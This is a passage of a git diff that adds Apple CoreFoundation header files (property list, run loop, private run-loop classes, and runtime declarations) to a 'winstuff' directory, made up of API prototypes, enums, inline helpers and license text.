to cache at call sites. + + Note that for non-MACH this function always returns true. +*/ +enum { + CFSystemVersionCheetah = 0, /* 10.0 */ + CFSystemVersionPuma = 1, /* 10.1 */ + CFSystemVersionJaguar = 2, /* 10.2 */ + CFSystemVersionPanther = 3, /* 10.3 */ + CFSystemVersionPinot = 3, /* Deprecated name for Panther */ + CFSystemVersionTiger = 4, /* 10.4 */ + CFSystemVersionMerlot = 4, /* Deprecated name for Tiger */ + CFSystemVersionLeopard = 5, /* Post-Tiger */ + CFSystemVersionChablis = 5, /* Deprecated name for Leopard */ + CFSystemVersionMax /* This should bump up when new entries are added */ +}; +typedef CFIndex CFSystemVersion; + +CF_EXPORT Boolean _CFExecutableLinkedOnOrAfter(CFSystemVersion version); + + +enum { + kCFStringGraphemeCluster = 1, /* Unicode Grapheme Cluster */ + kCFStringComposedCharacterCluster = 2, /* Compose all non-base (including spacing marks) */ + kCFStringCursorMovementCluster = 3, /* Cluster suitable for cursor movements */ + kCFStringBackwardDeletionCluster = 4 /* Cluster suitable for backward deletion */ +}; +typedef CFIndex CFStringCharacterClusterType; + +CF_EXPORT CFRange CFStringGetRangeOfCharacterClusterAtIndex(CFStringRef string, CFIndex charIndex, CFStringCharacterClusterType type); + +// Compatibility kCFCompare flags. Use the new public kCFCompareDiacriticInsensitive +enum { + kCFCompareDiacriticsInsensitive = 128, /* kCFCompareDiacriticInsensitive */ + kCFCompareDiacriticsInsensitiveCompatibilityMask = ((1 << 28)|kCFCompareDiacriticsInsensitive), +}; + +/* CFStringEncoding SPI */ +/* When set, CF encoding conversion engine keeps ASCII compatibility. (i.e. ASCII backslash <-> Unicode backslash in MacJapanese */ +CF_EXPORT void _CFStringEncodingSetForceASCIICompatibility(Boolean flag); + +#if defined(CF_INLINE) +CF_INLINE const UniChar *CFStringGetCharactersPtrFromInlineBuffer(CFStringInlineBuffer *buf, CFRange desiredRange) { + if ((desiredRange.location < 0) || ((desiredRange.location + desiredRange.length) > buf->rangeToBuffer.length)) return NULL; + + if (buf->directBuffer) { + return buf->directBuffer + buf->rangeToBuffer.location + desiredRange.location; + } else { + if (desiredRange.length > __kCFStringInlineBufferLength) return NULL; + + if (((desiredRange.location + desiredRange.length) > buf->bufferedRangeEnd) || (desiredRange.location < buf->bufferedRangeStart)) { + buf->bufferedRangeStart = desiredRange.location; + buf->bufferedRangeEnd = buf->bufferedRangeStart + __kCFStringInlineBufferLength; + if (buf->bufferedRangeEnd > buf->rangeToBuffer.length) buf->bufferedRangeEnd = buf->rangeToBuffer.length; + CFStringGetCharacters(buf->theString, CFRangeMake(buf->rangeToBuffer.location + buf->bufferedRangeStart, buf->bufferedRangeEnd - buf->bufferedRangeStart), buf->buffer); + } + + return buf->buffer + (desiredRange.location - buf->bufferedRangeStart); + } +} + +CF_INLINE void CFStringGetCharactersFromInlineBuffer(CFStringInlineBuffer *buf, CFRange desiredRange, UniChar *outBuf) { + if (buf->directBuffer) { + memmove(outBuf, buf->directBuffer + buf->rangeToBuffer.location + desiredRange.location, desiredRange.length * sizeof(UniChar)); + } else { + if ((desiredRange.location >= buf->bufferedRangeStart) && (desiredRange.location < buf->bufferedRangeEnd)) { + CFIndex bufLen = desiredRange.length; + + if (bufLen > (buf->bufferedRangeEnd - desiredRange.location)) bufLen = (buf->bufferedRangeEnd - desiredRange.location); + + memmove(outBuf, buf->buffer + (desiredRange.location - buf->bufferedRangeStart), bufLen * sizeof(UniChar)); + outBuf += bufLen; desiredRange.location += bufLen; desiredRange.length -= bufLen; + } else { + CFIndex desiredRangeMax = (desiredRange.location + desiredRange.length); + + if ((desiredRangeMax > buf->bufferedRangeStart) && (desiredRangeMax < buf->bufferedRangeEnd)) { + desiredRange.length = (buf->bufferedRangeStart - desiredRange.location); + memmove(outBuf + desiredRange.length, buf->buffer, (desiredRangeMax - buf->bufferedRangeStart) * sizeof(UniChar)); + } + } + + if (desiredRange.length > 0) CFStringGetCharacters(buf->theString, CFRangeMake(buf->rangeToBuffer.location + desiredRange.location, desiredRange.length), outBuf); + } +} + +#else +#define CFStringGetCharactersPtrFromInlineBuffer(buf, desiredRange) ((buf)->directBuffer ? (buf)->directBuffer + (buf)->rangeToBuffer.location + desiredRange.location : NULL) + +#define CFStringGetCharactersFromInlineBuffer(buf, desiredRange, outBuf) \ + if (buf->directBuffer) memmove(outBuf, (buf)->directBuffer + (buf)->rangeToBuffer.location + desiredRange.location, desiredRange.length * sizeof(UniChar)); \ + else CFStringGetCharacters((buf)->theString, CFRangeMake((buf)->rangeToBuffer.location + desiredRange.location, desiredRange.length), outBuf); + +#endif /* CF_INLINE */ + +/* + CFCharacterSetInlineBuffer related declarations + */ +/*! +@typedef CFCharacterSetInlineBuffer + @field cset The character set this inline buffer is initialized with. + The object is not retained by the structure. + @field flags The field is a bit mask that carries various settings. + @field rangeStart The beginning of the character range that contains all members. + It is guaranteed that there is no member below this value. + @field rangeLimit The end of the character range that contains all members. + It is guaranteed that there is no member above and equal to this value. + @field bitmap The bitmap data representing the membership of the Basic Multilingual Plane characters. + If NULL, all BMP characters inside the range are members of the character set. + */ +typedef struct { + CFCharacterSetRef cset; + uint32_t flags; + uint32_t rangeStart; + uint32_t rangeLimit; + const uint8_t *bitmap; +} CFCharacterSetInlineBuffer; + +// Bits for flags field +enum { + kCFCharacterSetIsCompactBitmap = (1 << 0), + kCFCharacterSetNoBitmapAvailable = (1 << 1), + kCFCharacterSetIsInverted = (1 << 2) +}; + +/*! +@function CFCharacterSetInitInlineBuffer + Initializes buffer with cset. + @param cset The character set used to initialized the buffer. + If this parameter is not a valid CFCharacterSet, the behavior is undefined. + @param buffer The reference to the inline buffer to be initialized. + */ +CF_EXPORT +void CFCharacterSetInitInlineBuffer(CFCharacterSetRef cset, CFCharacterSetInlineBuffer *buffer); + +/*! +@function CFCharacterSetInlineBufferIsLongCharacterMember + Reports whether or not the UTF-32 character is in the character set. + @param buffer The reference to the inline buffer to be searched. + @param character The UTF-32 character for which to test against the + character set. + @result true, if the value is in the character set, otherwise false. + */ +#if defined(CF_INLINE) +CF_INLINE bool CFCharacterSetInlineBufferIsLongCharacterMember(CFCharacterSetInlineBuffer *buffer, UTF32Char character) { + bool isInverted = ((0 == (buffer->flags & kCFCharacterSetIsInverted)) ? false : true); + + if ((character >= buffer->rangeStart) && (character < buffer->rangeLimit)) { + if ((character > 0xFFFF) || (0 != (buffer->flags & kCFCharacterSetNoBitmapAvailable))) return (CFCharacterSetIsLongCharacterMember(buffer->cset, character) != 0); + if (NULL == buffer->bitmap) { + if (0 == (buffer->flags & kCFCharacterSetIsCompactBitmap)) isInverted = !isInverted; + } else if (0 == (buffer->flags & kCFCharacterSetIsCompactBitmap)) { + if (buffer->bitmap[character >> 3] & (1 << (character & 7))) isInverted = !isInverted; + } else { + uint8_t value = buffer->bitmap[character >> 8]; + + if (value == 0xFF) { + isInverted = !isInverted; + } else if (value > 0) { + const uint8_t *segment = buffer->bitmap + (256 + (32 * (value - 1))); + character &= 0xFF; + if (segment[character >> 3] & (1 << (character % 8))) isInverted = !isInverted; + } + } + } + return isInverted; +} +#else /* CF_INLINE */ +#define CFCharacterSetInlineBufferIsLongCharacterMember(buffer, character) (CFCharacterSetIsLongCharacterMember(buffer->cset, character)) +#endif /* CF_INLINE */ + + +#if defined(__MACH__) +#include + +CFMessagePortRef CFMessagePortCreatePerProcessLocal(CFAllocatorRef allocator, CFStringRef name, CFMessagePortCallBack callout, CFMessagePortContext *context, Boolean *shouldFreeInfo); +CFMessagePortRef CFMessagePortCreatePerProcessRemote(CFAllocatorRef allocator, CFStringRef name, CFIndex pid); +#endif + + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFPRIV__ */ + diff --git a/winstuff/CoreFoundation/CFPropertyList.h b/winstuff/CoreFoundation/CFPropertyList.h new file mode 100644 index 0000000..481581d --- /dev/null +++ b/winstuff/CoreFoundation/CFPropertyList.h @@ -0,0 +1,103 @@ +/* CFPropertyList.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFPROPERTYLIST__) +#define __COREFOUNDATION_CFPROPERTYLIST__ 1 + +#include +#include +#include +#include + +CF_EXTERN_C_BEGIN + +enum { + kCFPropertyListImmutable = 0, + kCFPropertyListMutableContainers, + kCFPropertyListMutableContainersAndLeaves +}; +typedef CFOptionFlags CFPropertyListMutabilityOptions; + +/* + Creates a property list object from its XML description; xmlData should + be the raw bytes of that description, possibly the contents of an XML + file. Returns NULL if the data cannot be parsed; if the parse fails + and errorString is non-NULL, a human-readable description of the failure + is returned in errorString. It is the caller's responsibility to release + either the returned object or the error string, whichever is applicable. +*/ +CF_EXPORT +CFPropertyListRef CFPropertyListCreateFromXMLData(CFAllocatorRef allocator, CFDataRef xmlData, CFOptionFlags mutabilityOption, CFStringRef *errorString); + +/* + Returns the XML description of the given object; propertyList must + be one of the supported property list types, and (for composite types + like CFArray and CFDictionary) must not contain any elements that + are not themselves of a property list type. If a non-property list + type is encountered, NULL is returned. The returned data is + appropriate for writing out to an XML file. Note that a data, not a + string, is returned because the bytes contain in them a description + of the string encoding used. +*/ +CF_EXPORT +CFDataRef CFPropertyListCreateXMLData(CFAllocatorRef allocator, CFPropertyListRef propertyList); + +/* + Recursively creates a copy of the given property list (so nested arrays + and dictionaries are copied as well as the top-most container). The + resulting property list has the mutability characteristics determined + by mutabilityOption. +*/ +CF_EXPORT +CFPropertyListRef CFPropertyListCreateDeepCopy(CFAllocatorRef allocator, CFPropertyListRef propertyList, CFOptionFlags mutabilityOption); + +#if MAC_OS_X_VERSION_10_2 <= MAC_OS_X_VERSION_MAX_ALLOWED + +enum { + kCFPropertyListOpenStepFormat = 1, + kCFPropertyListXMLFormat_v1_0 = 100, + kCFPropertyListBinaryFormat_v1_0 = 200 +}; +typedef CFIndex CFPropertyListFormat; + +CF_EXPORT +Boolean CFPropertyListIsValid(CFPropertyListRef plist, CFPropertyListFormat format); + +/* Returns true if the object graph rooted at plist is a valid property list + * graph -- that is, no cycles, containing only plist objects, and dictionary + * keys are strings. The debugging library version spits out some messages + * to be helpful. The plist structure which is to be allowed is given by + * the format parameter. */ + +CF_EXPORT +CFIndex CFPropertyListWriteToStream(CFPropertyListRef propertyList, CFWriteStreamRef stream, CFPropertyListFormat format, CFStringRef *errorString); + +/* Writes the bytes of a plist serialization out to the stream. The + * stream must be opened and configured -- the function simply writes + * a bunch of bytes to the stream. The output plist format can be chosen. + * Leaves the stream open, but note that reading a plist expects the + * reading stream to end wherever the writing ended, so that the + * end of the plist data can be identified. Returns the number of bytes + * written, or 0 on error. Error messages are not currently localized, but + * may be in the future, so they are not suitable for comparison. */ + +CF_EXPORT +CFPropertyListRef CFPropertyListCreateFromStream(CFAllocatorRef allocator, CFReadStreamRef stream, CFIndex streamLength, CFOptionFlags mutabilityOption, CFPropertyListFormat *format, CFStringRef *errorString); + +/* Same as current function CFPropertyListCreateFromXMLData() + * but takes a stream instead of data, and works on any plist file format. + * CFPropertyListCreateFromXMLData() also works on any plist file format. + * The stream must be open and configured -- the function simply reads a bunch + * of bytes from it starting at the current location in the stream, to the END + * of the stream, which is expected to be the end of the plist, or up to the + * number of bytes given by the length parameter if it is not 0. Error messages + * are not currently localized, but may be in the future, so they are not + * suitable for comparison. */ + +#endif + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFPROPERTYLIST__ */ + diff --git a/winstuff/CoreFoundation/CFRunLoop.h b/winstuff/CoreFoundation/CFRunLoop.h new file mode 100644 index 0000000..e79df53 --- /dev/null +++ b/winstuff/CoreFoundation/CFRunLoop.h @@ -0,0 +1,166 @@ +/* CFRunLoop.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFRUNLOOP__) +#define __COREFOUNDATION_CFRUNLOOP__ 1 + +#include +#include +#include +#include +#if (TARGET_OS_MAC && !(TARGET_OS_EMBEDDED || TARGET_OS_IPHONE)) || (TARGET_OS_EMBEDDED || TARGET_OS_IPHONE) +#include +#endif + +CF_EXTERN_C_BEGIN + +typedef struct __CFRunLoop * CFRunLoopRef; + +typedef struct __CFRunLoopSource * CFRunLoopSourceRef; + +typedef struct __CFRunLoopObserver * CFRunLoopObserverRef; + +typedef struct __CFRunLoopTimer * CFRunLoopTimerRef; + +/* Reasons for CFRunLoopRunInMode() to Return */ +enum { + kCFRunLoopRunFinished = 1, + kCFRunLoopRunStopped = 2, + kCFRunLoopRunTimedOut = 3, + kCFRunLoopRunHandledSource = 4 +}; + +/* Run Loop Observer Activities */ +enum { + kCFRunLoopEntry = (1 << 0), + kCFRunLoopBeforeTimers = (1 << 1), + kCFRunLoopBeforeSources = (1 << 2), + kCFRunLoopBeforeWaiting = (1 << 5), + kCFRunLoopAfterWaiting = (1 << 6), + kCFRunLoopExit = (1 << 7), + kCFRunLoopAllActivities = 0x0FFFFFFFU +}; +typedef CFOptionFlags CFRunLoopActivity; + +CF_EXPORT const CFStringRef kCFRunLoopDefaultMode; +CF_EXPORT const CFStringRef kCFRunLoopCommonModes; + +CF_EXPORT CFTypeID CFRunLoopGetTypeID(void); + +CF_EXPORT CFRunLoopRef CFRunLoopGetCurrent(void); +CF_EXPORT CFRunLoopRef CFRunLoopGetMain(void) AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER; + +CF_EXPORT CFStringRef CFRunLoopCopyCurrentMode(CFRunLoopRef rl); + +CF_EXPORT CFArrayRef CFRunLoopCopyAllModes(CFRunLoopRef rl); + +CF_EXPORT void CFRunLoopAddCommonMode(CFRunLoopRef rl, CFStringRef mode); + +CF_EXPORT CFAbsoluteTime CFRunLoopGetNextTimerFireDate(CFRunLoopRef rl, CFStringRef mode); + +CF_EXPORT void CFRunLoopRun(void); +CF_EXPORT SInt32 CFRunLoopRunInMode(CFStringRef mode, CFTimeInterval seconds, Boolean returnAfterSourceHandled); +CF_EXPORT Boolean CFRunLoopIsWaiting(CFRunLoopRef rl); +CF_EXPORT void CFRunLoopWakeUp(CFRunLoopRef rl); +CF_EXPORT void CFRunLoopStop(CFRunLoopRef rl); + +CF_EXPORT Boolean CFRunLoopContainsSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFStringRef mode); +CF_EXPORT void CFRunLoopAddSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFStringRef mode); +CF_EXPORT void CFRunLoopRemoveSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFStringRef mode); + +CF_EXPORT Boolean CFRunLoopContainsObserver(CFRunLoopRef rl, CFRunLoopObserverRef observer, CFStringRef mode); +CF_EXPORT void CFRunLoopAddObserver(CFRunLoopRef rl, CFRunLoopObserverRef observer, CFStringRef mode); +CF_EXPORT void CFRunLoopRemoveObserver(CFRunLoopRef rl, CFRunLoopObserverRef observer, CFStringRef mode); + +CF_EXPORT Boolean CFRunLoopContainsTimer(CFRunLoopRef rl, CFRunLoopTimerRef timer, CFStringRef mode); +CF_EXPORT void CFRunLoopAddTimer(CFRunLoopRef rl, CFRunLoopTimerRef timer, CFStringRef mode); +CF_EXPORT void CFRunLoopRemoveTimer(CFRunLoopRef rl, CFRunLoopTimerRef timer, CFStringRef mode); + +typedef struct { + CFIndex version; + void * info; + const void *(*retain)(const void *info); + void (*release)(const void *info); + CFStringRef (*copyDescription)(const void *info); + Boolean (*equal)(const void *info1, const void *info2); + CFHashCode (*hash)(const void *info); + void (*schedule)(void *info, CFRunLoopRef rl, CFStringRef mode); + void (*cancel)(void *info, CFRunLoopRef rl, CFStringRef mode); + void (*perform)(void *info); +} CFRunLoopSourceContext; + +typedef struct { + CFIndex version; + void * info; + const void *(*retain)(const void *info); + void (*release)(const void *info); + CFStringRef (*copyDescription)(const void *info); + Boolean (*equal)(const void *info1, const void *info2); + CFHashCode (*hash)(const void *info); +#if (TARGET_OS_MAC && !(TARGET_OS_EMBEDDED || TARGET_OS_IPHONE)) || (TARGET_OS_EMBEDDED || TARGET_OS_IPHONE) + mach_port_t (*getPort)(void *info); + void * (*perform)(void *msg, CFIndex size, CFAllocatorRef allocator, void *info); +#else + HANDLE (*getPort)(void *info); + void (*perform)(void *info); +#endif +} CFRunLoopSourceContext1; + +CF_EXPORT CFTypeID CFRunLoopSourceGetTypeID(void); + +CF_EXPORT CFRunLoopSourceRef CFRunLoopSourceCreate(CFAllocatorRef allocator, CFIndex order, CFRunLoopSourceContext *context); + +CF_EXPORT CFIndex CFRunLoopSourceGetOrder(CFRunLoopSourceRef source); +CF_EXPORT void CFRunLoopSourceInvalidate(CFRunLoopSourceRef source); +CF_EXPORT Boolean CFRunLoopSourceIsValid(CFRunLoopSourceRef source); +CF_EXPORT void CFRunLoopSourceGetContext(CFRunLoopSourceRef source, CFRunLoopSourceContext *context); +CF_EXPORT void CFRunLoopSourceSignal(CFRunLoopSourceRef source); + +typedef struct { + CFIndex version; + void * info; + const void *(*retain)(const void *info); + void (*release)(const void *info); + CFStringRef (*copyDescription)(const void *info); +} CFRunLoopObserverContext; + +typedef void (*CFRunLoopObserverCallBack)(CFRunLoopObserverRef observer, CFRunLoopActivity activity, void *info); + +CF_EXPORT CFTypeID CFRunLoopObserverGetTypeID(void); + +CF_EXPORT CFRunLoopObserverRef CFRunLoopObserverCreate(CFAllocatorRef allocator, CFOptionFlags activities, Boolean repeats, CFIndex order, CFRunLoopObserverCallBack callout, CFRunLoopObserverContext *context); + +CF_EXPORT CFOptionFlags CFRunLoopObserverGetActivities(CFRunLoopObserverRef observer); +CF_EXPORT Boolean CFRunLoopObserverDoesRepeat(CFRunLoopObserverRef observer); +CF_EXPORT CFIndex CFRunLoopObserverGetOrder(CFRunLoopObserverRef observer); +CF_EXPORT void CFRunLoopObserverInvalidate(CFRunLoopObserverRef observer); +CF_EXPORT Boolean CFRunLoopObserverIsValid(CFRunLoopObserverRef observer); +CF_EXPORT void CFRunLoopObserverGetContext(CFRunLoopObserverRef observer, CFRunLoopObserverContext *context); + +typedef struct { + CFIndex version; + void * info; + const void *(*retain)(const void *info); + void (*release)(const void *info); + CFStringRef (*copyDescription)(const void *info); +} CFRunLoopTimerContext; + +typedef void (*CFRunLoopTimerCallBack)(CFRunLoopTimerRef timer, void *info); + +CF_EXPORT CFTypeID CFRunLoopTimerGetTypeID(void); + +CF_EXPORT CFRunLoopTimerRef CFRunLoopTimerCreate(CFAllocatorRef allocator, CFAbsoluteTime fireDate, CFTimeInterval interval, CFOptionFlags flags, CFIndex order, CFRunLoopTimerCallBack callout, CFRunLoopTimerContext *context); +CF_EXPORT CFAbsoluteTime CFRunLoopTimerGetNextFireDate(CFRunLoopTimerRef timer); +CF_EXPORT void CFRunLoopTimerSetNextFireDate(CFRunLoopTimerRef timer, CFAbsoluteTime fireDate); +CF_EXPORT CFTimeInterval CFRunLoopTimerGetInterval(CFRunLoopTimerRef timer); +CF_EXPORT Boolean CFRunLoopTimerDoesRepeat(CFRunLoopTimerRef timer); +CF_EXPORT CFIndex CFRunLoopTimerGetOrder(CFRunLoopTimerRef timer); +CF_EXPORT void CFRunLoopTimerInvalidate(CFRunLoopTimerRef timer); +CF_EXPORT Boolean CFRunLoopTimerIsValid(CFRunLoopTimerRef timer); +CF_EXPORT void CFRunLoopTimerGetContext(CFRunLoopTimerRef timer, CFRunLoopTimerContext *context); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFRUNLOOP__ */ + diff --git a/winstuff/CoreFoundation/CFRunLoopPriv.h b/winstuff/CoreFoundation/CFRunLoopPriv.h new file mode 100644 index 0000000..9d516ee --- /dev/null +++ b/winstuff/CoreFoundation/CFRunLoopPriv.h @@ -0,0 +1,377 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFRunLoopPriv.h + Copyright (c) 2006-2007, Apple Inc. All rights reserved. +*/ + +#if (DEPLOYMENT_TARGET_MACOSX || 0) + +/* -------- -------- -------- -------- -------- -------- -------- -------- */ + +#import "CFObject.h" +#include +#include +#include +#include +#include +#include +#include +#include + +@class CFRunLoopSourceSet; +typedef CFRunLoopSourceContext CFRunLoopSourceContext0; +typedef CFMachPortContext CFRunLoopMachPortContext; +typedef CFSocketContext CFRunLoopSocketContext; + +/* -------- -------- -------- -------- -------- -------- -------- -------- */ + +@interface CFRunLoopSource : CFObject { + uint8_t _cfruntime_[8]; // large enough for 32-bit or 64-bit + int _kq; + mach_port_t _portset; + mach_port_t _port; + CFIndex _order; + uint8_t _invalid; + uint8_t _firing; + uint8_t _ownsPort; + uint8_t _async; +} + +- (int)kqueue; +- (mach_port_t)machPortSet; +- (mach_port_t)machPort; + +- (void)setOrder:(CFIndex)o; +- (CFIndex)order; + +- (void)setAsyncStrategy:(uint8_t)s; +- (uint8_t)asyncStrategy; + +- (void)perform:(mach_msg_header_t *)msg; + +- (void)invalidate; +- (Boolean)isValid; + +- (void)noteAddedToSourceSet:(CFRunLoopSourceSet *)ss; +- (void)noteRemovedFromSourceSet:(CFRunLoopSourceSet *)ss; + +- (CFStringRef)copyPartialDebugDescription; // subclasses override +- (CFStringRef)copyDebugDescription; + +@end + +@interface CFRunLoopVersion0SourceCFRef : CFRunLoopSource { + CFRunLoopSourceContext0 _context; +} + +- (Boolean)setContext:(CFRunLoopSourceContext0)c; +- (CFRunLoopSourceContext0)context; + +- (void)markReady; +- (void)handle; + +- (void)scheduleInRunLoop:(CFRunLoopRef)rl mode:(CFStringRef)n; +- (void)cancelFromRunLoop:(CFRunLoopRef)rl mode:(CFStringRef)n; + +@end + +@interface CFRunLoopVersion1SourceCFRef : CFRunLoopSource { + CFRunLoopSourceContext1 _context; +} + +- (Boolean)setContext:(CFRunLoopSourceContext1)c; +- (CFRunLoopSourceContext1)context; + +- (void)markReady; +- (void)handle:(mach_msg_header_t *)msg; + +@end + +/* -------- -------- -------- -------- -------- -------- -------- -------- */ + +@interface CFRunLoopTimerSource : CFRunLoopSource { + CFAbsoluteTime _fireAT; + CFTimeInterval _interval; +} + +- (void)setFireTime:(CFAbsoluteTime)at; +- (CFAbsoluteTime)fireTime; + +- (void)setInterval:(CFTimeInterval)i; +- (CFTimeInterval)interval; + +- (void)handle; + +@end + +@interface CFRunLoopTimerSourceCFRef : CFRunLoopTimerSource { + void *_function; + CFRunLoopTimerContext _context; +} + +- (void)setFunction:(void *)f; +- (void *)function; + +- (Boolean)setContext:(CFRunLoopTimerContext)c; +- (CFRunLoopTimerContext)context; + +@end + +/* -------- -------- -------- -------- -------- -------- -------- -------- */ + +@interface CFRunLoopMachPortSource : CFRunLoopSource { + mach_port_t _notifyPort; + mach_port_t _oldNotifyPort; +} + ++ (id)newWithPort:(mach_port_t)p; + +- (void)handle:(mach_msg_header_t *)msg; + +@end + +@interface CFRunLoopMachPortSourceCFRef : CFRunLoopMachPortSource { + void *_function; + CFRunLoopMachPortContext _context; + void *_invalidation; +} + +- (void)setFunction:(void *)f; +- (void *)function; + +- (Boolean)setContext:(CFRunLoopMachPortContext)c; +- (CFRunLoopMachPortContext)context; + +- (void)setInvalidationFunction:(void *)f; +- (void *)invalidationFunction; + +@end + +/* -------- -------- -------- -------- -------- -------- -------- -------- */ + +@interface CFRunLoopKEventSource : CFRunLoopSource { + struct kevent _filter; +} + +- (Boolean)setFilter:(struct kevent)kev; +- (struct kevent)filter; + +- (void)handle:(struct kevent *)kev; + +@end + +/* -------- -------- -------- -------- -------- -------- -------- -------- */ + +@interface CFRunLoopSignalSource : CFRunLoopSource { + int _signal; +} + +- (Boolean)setSignal:(int)sig; +- (int)signal; + +- (long)poll; + +- (void)handle:(long)n; + +@end + +/* -------- -------- -------- -------- -------- -------- -------- -------- */ + +@interface CFRunLoopProcessDeathSource : CFRunLoopSource { + int _pid; +} + +- (Boolean)setProcessID:(int)pid; +- (int)processID; + +- (void)handle; + +@end + +/* -------- -------- -------- -------- -------- -------- -------- -------- */ + +@interface CFRunLoopSocketSource : CFRunLoopSource { + int _socket; + uint8_t _ownsSocket; + uint8_t _enabledR; + uint8_t _enabledW; +} + ++ (id)newWithSocket:(int)s; + +- (int)socket; +- (CFDataRef)copyLocalAddress; +- (CFDataRef)copyRemoteAddress; + +- (void)setReadEventsEnabled:(Boolean)b; +- (Boolean)readEventsEnabled; + +- (void)setWriteEventsEnabled:(Boolean)b; +- (Boolean)writeEventsEnabled; + +- (void)handleReadability:(CFIndex)amt endOfFile:(Boolean)b; +- (void)performRead:(struct kevent *)kev; + +- (void)handleWritability:(CFIndex)amt endOfFile:(Boolean)b; +- (void)performWrite:(struct kevent *)kev; + +@end + +@interface CFRunLoopSocketSourceCFRef : CFRunLoopSocketSource { + void *_function; + CFRunLoopSocketContext _context; + uint8_t _callbacks; + uint8_t _flags; + uint8_t _disabled; +} + +- (void)setFunction:(void *)f; +- (void *)function; + +- (Boolean)setContext:(CFRunLoopSocketContext)c; +- (CFRunLoopSocketContext)context; + +- (void)setCallBackTypes:(uint8_t)f; +- (uint8_t)callBackTypes; + +- (void)setFlags:(uint8_t)f; +- (uint8_t)flags; + +- (void)setDisabledFlags:(uint8_t)f; +- (uint8_t)disabledFlags; + +- (Boolean)handleAcceptError:(int)err; +- (Boolean)handleReadError:(int)err; + +@end + +/* -------- -------- -------- -------- -------- -------- -------- -------- */ + +@interface CFRunLoopObserver : CFRunLoopSource { +} + +- (void)observeEntry:(CFRunLoopSourceSet *)ss; +- (void)observeBeforeWaiting:(CFRunLoopSourceSet *)ss; +- (void)observeAfterWaiting:(CFRunLoopSourceSet *)ss; +- (void)observeExit:(CFRunLoopSourceSet *)ss; + +@end + +@interface CFRunLoopObserverCFRef : CFRunLoopObserver { + void *_function; + CFRunLoopObserverContext _context; + CFOptionFlags _activities; + uint8_t _oneshot; +} + +- (void)setFunction:(void *)f; +- (void *)function; + +- (Boolean)setContext:(CFRunLoopObserverContext)c; +- (CFRunLoopObserverContext)context; + +- (void)setActivities:(CFOptionFlags)a; +- (CFOptionFlags)activities; + +- (void)setOneshot:(Boolean)b; +- (Boolean)oneshot; + +@end + +/* -------- -------- -------- -------- -------- -------- -------- -------- */ + +@interface CFRunLoopSourceSet : CFRunLoopObserver { + CFMutableBagRef _sources; + CFStringRef _name; + pthread_t _thread; + CFMutableArrayRef _observers[4]; + CFRunLoopTimerSource *_timeoutTimer; + CFRunLoopMachPortSource *_wakeupPort; + uint8_t _stopped; + uint8_t _waiting; +} + ++ (void)removeSourceFromAllSets:(CFRunLoopSource *)src; + +- (void)setName:(CFStringRef)n; +- (CFStringRef)name; + +- (void)setAffineThread:(pthread_t)t; +- (pthread_t)affineThread; + +- (Boolean)containsObserver:(CFRunLoopObserver *)o; +- (void)addObserver:(CFRunLoopObserver *)o activities:(CFRunLoopActivity)a; +- (void)removeObserver:(CFRunLoopObserver *)o activities:(CFRunLoopActivity)a; + +- (Boolean)containsSource:(CFRunLoopSource *)src; +- (void)addSource:(CFRunLoopSource *)src; +- (void)removeSource:(CFRunLoopSource *)src; + +- (void)forEachSource:(Boolean (*)(CFRunLoopSource *, void *))f context:(void *)c; + +- (void)stop; +- (void)wakeup; +- (Boolean)isWaiting; +- (Boolean)isEmpty; +- (Boolean)hasInputAvailable; + +- (int32_t)serviceUntil:(CFAbsoluteTime)at handleOne:(Boolean)handleOne; + +@end + +/* -------- -------- -------- -------- -------- -------- -------- -------- */ + +@interface CFRunLoopCFRef : CFObject { + uint8_t _cfruntime_[8]; // large enough for 32-bit or 64-bit + pthread_t _thread; + void *_counterpart; + CFMutableArrayRef _sourceSets; + CFRunLoopSourceSet *_currentSet; + uint8_t _invalid; +} + +- (void)setAffineThread:(pthread_t)t; +- (pthread_t)affineThread; + +- (void)setCounterpart:(void *)c; +- (void *)counterpart; + +- (void)invalidate; +- (Boolean)isValid; + +- (CFArrayRef)copySourceSets; + +- (void)setCurrentSourceSet:(CFRunLoopSourceSet *)ss; +- (CFRunLoopSourceSet *)currentSourceSet; + +- (CFRunLoopSourceSet *)lookupSourceSetWithName:(CFStringRef)n; +- (CFRunLoopSourceSet *)lookupOrCreateSourceSetWithName:(CFStringRef)n; + +- (CFStringRef)copyDebugDescription; + +@end + +/* -------- -------- -------- -------- -------- -------- -------- -------- */ + +#endif + diff --git a/winstuff/CoreFoundation/CFRuntime.h b/winstuff/CoreFoundation/CFRuntime.h new file mode 100644 index 0000000..6c81c5c --- /dev/null +++ b/winstuff/CoreFoundation/CFRuntime.h @@ -0,0 +1,379 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH 